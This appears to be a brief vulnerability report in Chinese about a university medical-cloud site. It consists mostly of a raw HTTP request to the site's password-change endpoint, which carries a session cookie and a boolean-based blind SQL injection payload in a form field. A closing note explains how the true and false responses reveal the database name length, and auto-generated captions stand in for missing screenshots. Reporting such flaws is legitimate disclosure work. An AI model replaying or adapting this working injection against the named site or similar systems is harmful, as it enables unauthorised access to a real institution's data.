<https://medcloud.sjtu.edu.cn/>

电脑萤幕画面

描述已自动生成

POST /newpsw.php HTTP/1.1

Host: medcloud.sjtu.edu.cn

Cookie: PHPSESSID=6p867sojnoe04q677t481kpf66

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------182597091630372249623970025361

Content-Length: 657

Origin: https://medcloud.sjtu.edu.cn

Referer: https://medcloud.sjtu.edu.cn/index.php

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Te: trailers

Connection: close

-----------------------------182597091630372249623970025361

Content-Disposition: form-data; name="el"

123' or length(database())=3#

-----------------------------182597091630372249623970025361

Content-Disposition: form-data; name="lpsw"

123

-----------------------------182597091630372249623970025361

Content-Disposition: form-data; name="npsw"

123

-----------------------------182597091630372249623970025361

Content-Disposition: form-data; name="nnpsw"

123

-----------------------------182597091630372249623970025361

Content-Disposition: form-data; name="submitPS"

123

-----------------------------182597091630372249623970025361—

该URL存在sql注入，将参数如图设置，返回密码至少8位时为真，返回旧密码不正确为假，注入出数据库长度证明注入存在

图形用户界面, 文本, 应用程序

描述已自动生成

图形用户界面, 文本, 应用程序

描述已自动生成